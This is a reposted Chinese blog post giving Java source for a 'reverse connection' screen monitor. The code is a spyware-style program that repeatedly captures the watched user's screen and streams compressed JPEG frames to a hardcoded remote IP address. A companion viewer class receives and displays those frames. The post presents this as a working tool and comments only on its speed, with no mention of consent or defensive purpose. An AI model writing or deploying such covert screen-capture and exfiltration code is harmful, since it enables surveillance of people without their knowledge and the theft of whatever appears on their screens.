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JAVA实现反向连接_____屏幕监视 (TCP)
//以下这个为服务器类 被监视的用户
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder; import java.awt.Dimension; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.io.FileOutputStream; import java.io.IOException; import java.net.Socket; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; public class ShellServer extends Thread{ private Dimension screenSize; private Rectangle rectangle; private Robot robot; private JPEGImageEncoder encoder; public ShellServer() { screenSize = Toolkit.getDefaultToolkit().getScreenSize(); rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域 try{ robot = new Robot(); }catch(Exception e){ e.printStackTrace(); System.out.println(e); } } public void run(){ ZipOutputStream os = null; Socket socket=null; while (true){ try{ socket = new Socket("220.173.44.158",5000);//连接远程IP BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域 os = new ZipOutputStream(socket.getOutputStream());//加入压缩流 //os = new ZipOutputStream(new FileOutputStream("C:/1.zip")); os.setLevel(9); os.putNextEntry(new ZipEntry("1.jpg")); JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG os.close(); Thread.sleep(50);//每秒20帧 }catch(Exception e){ e.printStackTrace(); }finally{ if(os!=null){ try{ os.close(); }catch(Exception ioe){} } if(socket!=null){ try { socket.close(); } catch (IOException e) { } } } } } public static void main(String[] args) { new ShellServer().start(); } } //以下这个为客户端类 监视者import java.awt.*;
import java.awt.image.BufferedImage; import javax.imageio.ImageIO; import javax.swing.*; import java.io.*; import java.net.ServerSocket; import java.net.Socket; import java.util.zip.ZipInputStream; public class ShellClient extends JFrame{ Dimension screenSize;public ShellClient() {
super(); screenSize = Toolkit.getDefaultToolkit().getScreenSize(); this.setSize(800, 640);//设置Frame初始 Screen p = new Screen();//屏幕类 Container c = this.getContentPane(); c.setLayout(new BorderLayout());//布局 c.add(p,"Center");//添加一个Panel new Thread(p).start();//开启线程 this.show();//显示本Frame } public static void main(String[] args){ new ShellClient(); } class Screen extends JPanel implements Runnable{ private Image cimage; public void run(){ ServerSocket ss=null; try{ ss=new ServerSocket(5000);//探听5000端口的连接 while(true){ Socket s=null; try{ s=ss.accept();//获取一个SOCKET ZipInputStream zis=new ZipInputStream(s.getInputStream()); zis.getNextEntry();//获得ZIP流的ENTRY cimage = ImageIO.read(zis);//把ZIP流转换为图片 //cimage = ImageIO.read(new FileInputStream("c:/1.jpg")); repaint();//重画 }catch(Exception e){ e.printStackTrace(); }finally{ if(s!=null){ try {s.close();} catch (IOException e) {} } } } }catch(Exception e){} finally{ if(ss!=null){ try {ss.close();} catch (IOException e) {} } } } public Screen() { super(); this.setLayout(null); } public void paint(Graphics g){ super.paint(g); Graphics2D g2 = (Graphics2D) g; g2.drawImage(cimage, 0, 0, null); } } }主要采用了 TCP协议+压缩流~ 速度还可以!
本文转自yjflinchong 51CTO博客,原文链接:http://blog.51cto.com/yjflinchong/1165020,如需转载请自行联系原作者